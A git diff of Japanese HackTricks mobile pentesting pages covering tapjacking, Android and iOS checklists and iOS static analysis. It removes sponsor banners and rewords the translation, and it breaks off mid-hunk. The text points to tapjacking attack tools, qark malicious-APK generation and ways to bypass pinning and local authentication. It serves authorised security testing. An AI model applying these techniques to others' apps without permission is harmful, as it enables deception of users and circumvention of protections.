は別の可視ウィンドウによってウィンドウが隠されているときにタッチを受け取ることはありません。 #### **`setFilterTouchesWhenObscured`** -属性**`setFilterTouchesWhenObscured`**がtrueに設定されている場合、Androidバージョンが低い場合でもこの脆弱性の悪用を防ぐことができます。\ -例えば、**`true`**に設定されている場合、ボタンは**隠されている場合に自動的に無効化される**ことがあります: +属性 **`setFilterTouchesWhenObscured`** をtrueに設定することでも、この脆弱性の悪用を防ぐことができます。\ +例えば、**`true`** に設定されている場合、ボタンは自動的に**隠されている場合は無効化される**ことがあります: ```xml ``` -## 攻撃 +## 利用 ### Tapjacking-ExportedActivity -最も**最近のAndroidアプリケーション**でTapjacking攻撃を実行するもの(+ 攻撃されたアプリケーションのエクスポートされたアクティビティの前に呼び出すこと)が見つかります: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)。 +最も**最近のAndroidアプリケーション**でTapjacking攻撃を実行するもの(+ 攻撃されたアプリケーションのエクスポートされたアクティビティの前に呼び出すこと)が見つかるのは: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)。 **READMEの指示に従って使用してください**。 ### FloatingWindowApp -**FloatingWindowApp**を実装した例のプロジェクトは、他のアクティビティの上に置いてクリックジャッキング攻撃を実行するために使用できます。[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)(少し古いですが、apkのビルドに幸運を祈ります)。 +**FloatingWindowApp**を実装した例のプロジェクトは、他のアクティビティの上に置いてクリックジャッキング攻撃を実行するために使用できるもので、[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)に見つかります(少し古いですが、apkのビルドに幸運を祈ります)。 ### Qark > [!CAUTION] -> このプロジェクトは現在メンテナンスされていないようで、この機能は正しく動作していないようです。 +> このプロジェクトは現在メンテナンスされていないようで、この機能は正しく動作していないようです -`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark)を使用し、可能な**Tapjacking**脆弱性をテストするための悪意のあるアプリケーションを作成できます。\ +`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark)を使用することで、可能な**Tapjacking**脆弱性をテストするための悪意のあるアプリケーションを作成できます。\ -緩和策は比較的簡単で、開発者は別のビューに覆われているときにタッチイベントを受け取らないことを選択できます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用して: +緩和策は比較的簡単で、開発者は別のビューに覆われているときにタッチイベントを受け取らないことを選択できます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用すると: -> アプリケーションがユーザーの完全な知識と同意のもとでアクションを実行していることを確認することが重要な場合があります。たとえば、権限リクエストを承認したり、購入を行ったり、広告をクリックしたりする場合です。残念ながら、悪意のあるアプリケーションは、ビューの意図された目的を隠すことによって、ユーザーを騙してこれらのアクションを実行させようとする可能性があります。これに対する対策として、フレームワークは、機密機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。 +> アプリケーションがユーザーの完全な知識と同意のもとでアクションが実行されていることを確認することが重要な場合があります。たとえば、権限リクエストの承認、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、ビューの意図された目的を隠すことによって、ユーザーを騙してこれらのアクションを無意識に実行させようとする可能性があります。これに対する対策として、フレームワークは、機密機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。 > -> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが別の可視ウィンドウによって覆われているときに受信したタッチを破棄します。その結果、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるとき、ビューはタッチを受け取らなくなります。 - -
- -{% embed url="https://websec.nl/" %} +> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが別の可視ウィンドウによって覆われているときに受信したタッチを破棄します。その結果、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるときに、ビューはタッチを受け取らなくなります。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-checklist.md b/src/mobile-pentesting/android-checklist.md index fdccce22a..fb5472f0c 100644 --- a/src/mobile-pentesting/android-checklist.md +++ b/src/mobile-pentesting/android-checklist.md @@ -2,11 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} ### [Androidの基本を学ぶ](android-app-pentesting/#2-android-application-fundamentals) @@ -26,20 +21,20 @@ ### [静的分析](android-app-pentesting/#static-analysis) -- [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタムパリングチェックを行います。[詳細はこちらを読む](android-app-pentesting/#other-checks)。 +- [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタンパリングチェックを行います。[詳細はこちらを読む](android-app-pentesting/#other-checks)。 - [ ] 銀行アプリのような敏感なアプリケーションは、モバイルがルート化されているか確認し、それに応じて行動する必要があります。 - [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)(パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなど)を探します。 -- [ ] [Firebase](android-app-pentesting/#firebase) APIに特に注意を払います。 -- [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) -- [ ] アプリケーションがデバッグモードであるか確認し、「エクスプロイト」してみます。 +- [ ] [firebase](android-app-pentesting/#firebase)APIに特に注意を払います。 +- [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) +- [ ] アプリケーションがデバッグモードであるか確認し、「悪用」してみます。 - [ ] APKがバックアップを許可しているか確認します。 - [ ] エクスポートされたアクティビティ - [ ] コンテンツプロバイダー - [ ] 公開されたサービス - [ ] ブロードキャストレシーバー - [ ] URLスキーム -- [ ] アプリケーションが[内部または外部に不安全にデータを保存しているか](android-app-pentesting/#insecure-data-storage)? -- [ ] [ハードコーディングされたパスワードやディスクに保存されたパスワード](android-app-pentesting/#poorkeymanagementprocesses)はありますか?アプリは[不安全な暗号アルゴリズムを使用していますか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? +- [ ] アプリケーションが[内部または外部にデータを安全でない方法で保存しているか](android-app-pentesting/#insecure-data-storage)? +- [ ] [パスワードがハードコーディングされているか、ディスクに保存されているか](android-app-pentesting/#poorkeymanagementprocesses)?アプリは[安全でない暗号アルゴリズムを使用しているか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? - [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか? - [ ] このフェーズで役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。 @@ -48,23 +43,18 @@ - [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis)) - [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)(ログ、コピー/ペースト、クラッシュログ)はありますか? - [ ] [SQLiteデータベースに保存されている機密情報](android-app-pentesting/#sqlite-dbs)はありますか? -- [ ] [エクスプロイト可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか? -- [ ] [エクスプロイト可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか? -- [ ] [エクスプロイト可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか? +- [ ] [悪用可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか? +- [ ] [悪用可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか? +- [ ] [悪用可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか? - [ ] アプリケーションが[平文で情報を送信しているか/弱いアルゴリズムを使用しているか](android-app-pentesting/#insufficient-transport-layer-protection)?MitMは可能ですか? - [ ] [HTTP/HTTPSトラフィックを検査する](android-app-pentesting/#inspecting-http-traffic) - [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を探すことができます(HacktricksにはWebの脆弱性に関する多くの情報があります)。 - [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)を確認します(おそらく静的コード分析が役立ちます)。 -- [ ] [Frida](android-app-pentesting/#frida):Fridaを使用してアプリケーションから興味深い動的データを取得します(おそらくいくつかのパスワード...)。 +- [ ] [Frida](android-app-pentesting/#frida): Fridaを使用してアプリケーションから興味深い動的データを取得します(おそらくいくつかのパスワード...)。 ### 一部の難読化/デオブフスケーション情報 - [ ] [こちらを読む](android-app-pentesting/#obfuscating-deobfuscating-code) -
- -**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting-checklist.md b/src/mobile-pentesting/ios-pentesting-checklist.md index a04788fe2..8865ce64e 100644 --- a/src/mobile-pentesting/ios-pentesting-checklist.md +++ b/src/mobile-pentesting/ios-pentesting-checklist.md @@ -1,48 +1,40 @@ # iOS Pentesting Checklist -
- -\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} ### 準備 - [ ] [**iOSの基本**](ios-pentesting/ios-basics.md)を読む - [ ] [**iOSテスト環境**](ios-pentesting/ios-testing-environment.md)を読み、環境を準備する -- [ ] [**iOS初期分析**](ios-pentesting/#initial-analysis)のすべてのセクションを読み、iOSアプリケーションをペンテストするための一般的なアクションを学ぶ +- [ ] [**iOS初期分析**](ios-pentesting/#initial-analysis)のすべてのセクションを読み、iOSアプリケーションのペンテストにおける一般的なアクションを学ぶ ### データストレージ -- [ ] [**Plistファイル**](ios-pentesting/#plist)は機密情報を保存するために使用される可能性があります。 -- [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)は機密情報を保存できます。 -- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)は機密情報を保存できます。 +- [ ] [**Plistファイル**](ios-pentesting/#plist)は機密情報を保存するために使用される可能性がある。 +- [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)は機密情報を保存できる。 +- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)は機密情報を保存できる。 - [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。 -- [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)は機密情報を保存できます。 -- [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)は機密情報を保存できます。 -- [ ] [**バイナリクッキー**](ios-pentesting/#cookies)は機密情報を保存できます。 -- [ ] [**キャッシュデータ**](ios-pentesting/#cache)は機密情報を保存できます。 -- [ ] [**自動スナップショット**](ios-pentesting/#snapshots)は視覚的な機密情報を保存できます。 -- [ ] [**キーチェーン**](ios-pentesting/#keychain)は通常、電話を再販する際に残る可能性のある機密情報を保存するために使用されます。 -- [ ] 要約すると、アプリケーションがファイルシステムに保存した機密情報を**確認する**だけです。 +- [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)は機密情報を保存できる。 +- [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)は機密情報を保存できる。 +- [ ] [**バイナリクッキー**](ios-pentesting/#cookies)は機密情報を保存できる。 +- [ ] [**キャッシュデータ**](ios-pentesting/#cache)は機密情報を保存できる。 +- [ ] [**自動スナップショット**](ios-pentesting/#snapshots)は視覚的な機密情報を保存できる。 +- [ ] [**キーチェーン**](ios-pentesting/#keychain)は通常、電話を再販する際に残る可能性のある機密情報を保存するために使用される。 +- [ ] 要約すると、**アプリケーションがファイルシステムに保存した機密情報を確認するだけです。** ### キーボード -- [ ] アプリケーションは[**カスタムキーボードの使用を許可していますか**](ios-pentesting/#custom-keyboards-keyboard-cache)? -- [ ] [**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に機密情報が保存されているか確認する +- [ ] アプリケーションは[**カスタムキーボードの使用を許可していますか**](ios-pentesting/#custom-keyboards-keyboard-cache)? +- [ ] 機密情報が[**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に保存されているか確認する ### **ログ** -- [ ] [**機密情報がログに記録されているか確認する**](ios-pentesting/#logs) +- [ ] [**機密情報がログに記録されているか**](ios-pentesting/#logs)確認する ### バックアップ -- [ ] [**バックアップ**](ios-pentesting/#backups)はファイルシステムに保存された**機密情報にアクセスするために使用される可能性があります**(このチェックリストの最初のポイントを確認してください) -- [ ] また、[**バックアップ**](ios-pentesting/#backups)はアプリケーションの**設定を変更するために使用される可能性があり**、その後**バックアップを電話に復元すると、**変更された設定**が**読み込まれ**、一部の(セキュリティ)**機能**が**回避される**可能性があります。 +- [ ] [**バックアップ**](ios-pentesting/#backups)はファイルシステムに保存された**機密情報にアクセスするために使用できる**(このチェックリストの最初のポイントを確認) +- [ ] また、[**バックアップ**](ios-pentesting/#backups)はアプリケーションの**設定を変更するために使用できる**、その後**バックアップを電話に復元し、**変更された設定**が**読み込まれると**、いくつかの(セキュリティ)**機能**が**バイパスされる**可能性がある。 ### **アプリケーションメモリ** @@ -50,48 +42,48 @@ ### **壊れた暗号化** -- [ ] [**暗号化に使用されるパスワードを見つけられるか確認する**](ios-pentesting/#broken-cryptography) -- [ ] 機密データを送信/保存するために[**非推奨/弱いアルゴリズムが使用されているか確認する**](ios-pentesting/#broken-cryptography) +- [ ] [**暗号化に使用されるパスワード**](ios-pentesting/#broken-cryptography)を見つけられるか確認する +- [ ] 機密データを送信/保存するために[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されているか確認する - [ ] [**暗号化関数をフックして監視する**](ios-pentesting/#broken-cryptography) ### **ローカル認証** -- [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているか確認する必要があります。 -- [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単に回避される可能性があります。 -- [ ] [**動的に回避可能な関数を使用している場合**](ios-pentesting/#local-authentication-using-keychain)、カスタムFridaスクリプトを作成できます。 +- [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているか確認する。 +- [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性がある。 +- [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムFridaスクリプトを作成できる。 ### IPCを通じた機密機能の露出 - [**カスタムURIハンドラー / ディープリンク / カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) -- [ ] アプリケーションが**プロトコル/スキームを登録しているか確認する** -- [ ] アプリケーションが**プロトコル/スキームを使用するために登録しているか確認する** -- [ ] アプリケーションが**カスタムスキームから受信することを期待している機密情報の種類を確認する**、それが**同じスキームを登録している別のアプリケーションによって**インターセプトされる可能性があります。 -- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていないか確認し、いくつかの**脆弱性が悪用される可能性があります。 -- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか確認する**、カスタムスキームを介して。 +- [ ] アプリケーションが**プロトコル/スキームを登録しているか**確認する +- [ ] アプリケーションが**プロトコル/スキームを使用するために登録しているか**確認する +- [ ] アプリケーションが**カスタムスキームから受信することを期待している機密情報の種類**を確認し、同じスキームを登録している別のアプリケーションによって**傍受される**可能性があるか確認する +- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される可能性がある**か確認する +- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか**確認する - [**ユニバーサルリンク**](ios-pentesting/#universal-links) -- [ ] アプリケーションが**ユニバーサルプロトコル/スキームを登録しているか確認する** +- [ ] アプリケーションが**ユニバーサルプロトコル/スキームを登録しているか**確認する - [ ] `apple-app-site-association`ファイルを確認する -- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていないか確認し、いくつかの**脆弱性が悪用される可能性があります。 -- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか確認する**、カスタムスキームを介して。 +- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される可能性がある**か確認する +- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか**確認する - [**UIActivity共有**](ios-pentesting/ios-uiactivity-sharing.md) -- [ ] アプリケーションがUIActivitiesを受信できるか確認し、特別に作成されたアクティビティで脆弱性を悪用できるか確認する。 +- [ ] アプリケーションがUIActivitiesを受信できるか、特別に作成されたアクティビティで脆弱性を悪用できるか確認する - [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) -- [ ] アプリケーションが**一般的なペーストボードに何かをコピーしているか確認する** -- [ ] アプリケーションが**一般的なペーストボードのデータを何かに使用しているか確認する** -- [ ] ペーストボードを監視して、**機密データがコピーされているか確認する** +- [ ] アプリケーションが**一般的なペーストボードに何かをコピーしているか**確認する +- [ ] アプリケーションが**一般的なペーストボードのデータを何かに使用しているか**確認する +- [ ] ペーストボードを監視して、**機密データがコピーされているか**確認する - [**アプリ拡張**](ios-pentesting/ios-app-extensions.md) -- [ ] アプリケーションは**拡張機能を使用していますか**? +- [ ] アプリケーションは**拡張機能を使用しているか**? - [**WebViews**](ios-pentesting/ios-webviews.md) - [ ] 使用されているWebViewの種類を確認する - [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認する -- [ ] WebViewが**file://**プロトコルで**ローカルファイルにアクセスできるか確認する**(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`) -- [ ] Javascriptが**ネイティブ**メソッドにアクセスできるか確認する(`JSContext`、`postMessage`) +- [ ] WebViewが**file://**プロトコルで**ローカルファイルにアクセスできるか**確認する(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`) +- [ ] Javascriptが**ネイティブ**の**メソッド**(`JSContext`、`postMessage`)にアクセスできるか確認する ### ネットワーク通信 -- [ ] [**通信に対するMitMを実行し**](ios-pentesting/#network-communication)、Webの脆弱性を探す。 +- [ ] [**通信に対するMitMを実行**](ios-pentesting/#network-communication)し、Webの脆弱性を探す。 - [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)が確認されているか確認する -- [ ] [**証明書ピンニング**](ios-pentesting/#certificate-pinning)を確認/回避する +- [ ] [**証明書ピンニング**](ios-pentesting/#certificate-pinning)を確認/バイパスする ### **その他** @@ -99,11 +91,3 @@ - [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)を確認する {{#include ../banners/hacktricks-training.md}} - -
- -\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index 6397b18c9..b8c531be6 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -1,22 +1,14 @@ # iOS Pentesting -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} - {{#include ../../banners/hacktricks-training.md}} -## iOS Basics +## iOSの基本 {{#ref}} ios-basics.md {{#endref}} -## Testing Environment +## テスト環境 このページでは、**iOSシミュレーター**、**エミュレーター**、および**脱獄**に関する情報を見つけることができます: @@ -24,11 +16,11 @@ ios-basics.md ios-testing-environment.md {{#endref}} -## Initial Analysis +## 初期分析 -### Basic iOS Testing Operations +### 基本的なiOSテスト操作 -テスト中に**いくつかの操作が提案されます**(デバイスに接続、ファイルの読み書き/アップロード/ダウンロード、ツールの使用など)。したがって、これらのアクションのいずれかを実行する方法がわからない場合は、**ページを読み始めてください**: +テスト中に**いくつかの操作が提案されます**(デバイスに接続、ファイルの読み書き/アップロード/ダウンロード、いくつかのツールを使用するなど)。したがって、これらの操作のいずれかを実行する方法がわからない場合は、**ページを読み始めてください**: {{#ref}} basic-ios-testing-operations.md @@ -36,21 +28,26 @@ basic-ios-testing-operations.md > [!NOTE] > 次のステップのために、**アプリがデバイスにインストールされている必要があります**、およびアプリケーションの**IPAファイル**をすでに取得している必要があります。\ -> [Basic iOS Testing Operations](basic-ios-testing-operations.md)ページを読んで、これを行う方法を学んでください。 +> これを行う方法を学ぶには、[Basic iOS Testing Operations](basic-ios-testing-operations.md)ページをお読みください。 -### Basic Static Analysis +### 基本的な静的分析 + +興味深いiOS - IPAファイルのデコンパイラ: + +- https://github.com/LaurieWired/Malimite +- https://ghidra-sre.org/ IPAファイルに対して自動静的分析を実行するために、ツール[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)を使用することをお勧めします。 -**バイナリに存在する保護の特定**: +**バイナリに存在する保護の識別**: -- **PIE (Position Independent Executable)**: 有効な場合、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。 +- **PIE (Position Independent Executable)**: 有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。 ```bash otool -hv | grep PIE # PIEフラグが含まれている必要があります ``` -- **Stack Canaries**: スタックの整合性を検証するために、関数を呼び出す前にスタックに「カナリア」値が置かれ、関数が終了した後に再度検証されます。 +- **スタックカナリア**: スタックの整合性を検証するために、関数を呼び出す前にスタックに「カナリア」値が置かれ、関数が終了した後に再度検証されます。 ```bash otool -I -v | grep stack_chk # stack_chk_guardおよびstack_chk_failシンボルが含まれている必要があります @@ -62,13 +59,13 @@ otool -I -v | grep stack_chk # stack_chk_guardおよびstack_chk_ otool -I -v | grep objc_release # _objc_releaseシンボルが含まれている必要があります ``` -- **Encrypted Binary**: バイナリは暗号化されている必要があります +- **暗号化されたバイナリ**: バイナリは暗号化されている必要があります ```bash otool -arch all -Vl | grep -A5 LC_ENCRYPT # cryptidは1である必要があります ``` -**敏感/不安全な関数の特定** +**敏感/不安全な関数の識別** - **弱いハッシュアルゴリズム** @@ -136,13 +133,13 @@ grep -iER "_printf" grep -iER "_vsprintf" ``` -### Basic Dynamic Analysis +### 基本的な動的分析 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)が実行する動的分析を確認してください。さまざまなビューをナビゲートし、それらと対話する必要がありますが、他のことを行う際にいくつかのクラスをフックし、完了するとレポートを準備します。 -### Listing Installed Apps +### インストールされたアプリのリスト -インストールされたアプリの**バンドル識別子**を特定するには、コマンド`frida-ps -Uai`を使用します: +`frida-ps -Uai`コマンドを使用して、インストールされたアプリの**バンドル識別子**を特定します: ```bash $ frida-ps -Uai PID Name Identifier @@ -165,25 +162,25 @@ ios-hooking-with-objection.md ### IPA構造 -**IPAファイル**の構造は本質的に**圧縮パッケージ**のそれです。拡張子を`.zip`に変更することで、**解凍**してその内容を明らかにすることができます。この構造内では、**Bundle**はインストールの準備が整った完全にパッケージ化されたアプリケーションを表します。その中には、アプリケーションのリソースをカプセル化した`.app`という名前のディレクトリがあります。 +**IPAファイル**の構造は本質的に**圧縮パッケージ**のそれです。拡張子を`.zip`に変更することで、**解凍**してその内容を明らかにすることができます。この構造内で、**Bundle**はインストールの準備が整った完全にパッケージ化されたアプリケーションを表します。その中には、アプリケーションのリソースをカプセル化した`.app`という名前のディレクトリがあります。 - **`Info.plist`**: このファイルはアプリケーションの特定の設定詳細を保持します。 - **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれています。 - **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。 - **`Frameworks/`**: このフォルダには、`.dylib`または`.framework`ファイルの形式でアプリケーションのネイティブライブラリが格納されています。 -- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。 -- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプとクリエイターコードを指定するための代替手段です。 -- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースも含まれています。 -- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドルされたすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。 +- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイスでのアプリの元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。 +- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定するための代替手段です。 +- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースです。 +- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドル内のすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。 - **アセット管理**: `Assets.car`ファイルは圧縮を使用してグラフィカルアセットを効率的に管理し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。 -- **FrameworksとPlugIns**: これらのディレクトリはiOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ(`Frameworks/`)を含め、アプリの機能を拡張(`PlugIns/`)できるようにします。 -- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことでグローバルなアプリケーションのリーチを促進します。 +- **FrameworksとPlugIns**: これらのディレクトリは、iOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ(`Frameworks/`)を含め、アプリの機能を拡張(`PlugIns/`)できるようにします。 +- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションのリーチを促進します。 **Info.plist** -**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探索については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。 +**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探求については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。 -このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に実行できます(バージョン10.2以降でネイティブに利用可能)またはLinux上で`plistutil`を使用します。変換のコマンドは次のとおりです: +このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に実現できます(バージョン10.2以降でネイティブに利用可能)またはLinux上で`plistutil`を使用します。変換のためのコマンドは次のとおりです: - **macOSの場合**: ```bash @@ -207,7 +204,7 